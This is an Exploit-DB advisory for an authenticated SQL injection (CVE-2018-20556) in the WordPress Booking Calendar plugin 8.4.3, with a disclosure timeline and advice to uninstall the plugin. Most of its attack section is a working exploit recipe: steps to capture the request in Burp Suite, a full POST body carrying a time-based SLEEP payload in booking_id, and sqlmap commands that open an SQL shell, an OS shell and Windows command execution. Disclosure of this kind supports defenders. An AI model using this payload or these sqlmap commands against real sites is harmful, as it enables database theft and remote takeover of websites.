WordPress Plugin Booking Calendar 8.4.3 - (Authenticated) SQL Injection

ID EDB-ID:46377
Type exploitdb
Reporter B0UG
Modified 2019-02-14T00:00:00


                                            # Exploit Title: Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability
# Date: 2018-12-28
# Exploit Author: B0UG
# Vendor Homepage: https://wpbookingcalendar.com/
# Software Link: https://wordpress.org/plugins/booking/
# Version: Tested on version 8.4.3 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-20556


Authenticated SQL Injection
'Booking Calendar' WordPress plugin developed by oplugins is a booking system which allows website visitors to check the availability of services and make reservations.

An authenticated SQL Injection vulnerability in the 'Booking Calendar' WordPress plugin allows an attacker to read arbitrary data from the database. 

1) Access WordPress control panel.
2) Navigate to the Booking Calendar plugin page.
3) Set up Burp Suite to capture the traffic.
4) Select one of the booking entries and click on the 'Trash Can' button to delete the entry.
5) Within Burp Suite, analyse the POST request and idenitfy the parameter 'booking_id'.
6) The 'booking_id' parameter is vulnerable to the following different types of SQL injection: 
• Boolean based blind injection
• Error based injection
• Time based injection

7) We can perform a time based SQL injection by appending   ) AND SLEEP(100) AND (1=1   after the ID value in the parameter as shown below.
action=TRASH_RESTORE&booking_id=573) AND SLEEP(100) AND (1=1&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=en_US&is_trash=1&wpbc_nonce=99c5ffaa67

Obtaining a shell using sqlmap
• Obtain a SQL Shell
Sqlmap –r post-request.txt –p booking_id --sql-shell

• Obtain a Linux Shell
Sqlmap –r post-request.txt –p booking_id --os-shell

• Obtain a Windows Command Prompt
Sqlmap –r post-request.txt –p booking_id --os-cmd

The vulnerability allows an attacker to read arbitrary data from the database. It is possible to get a remote shell from this vulnerability.
WordPress websites running 'Booking Calendar' WordPress plugin version 8.4.3 (older versions may also be affected).
Uninstall the plugin until the vulnerability has been fixed by the developer.

#December 28, 2018 1: Vulnerability identified.
#December 28, 2018 2: Informed developer of the vulnerability.
#February 14, 2019 3: No communication received back from the developer.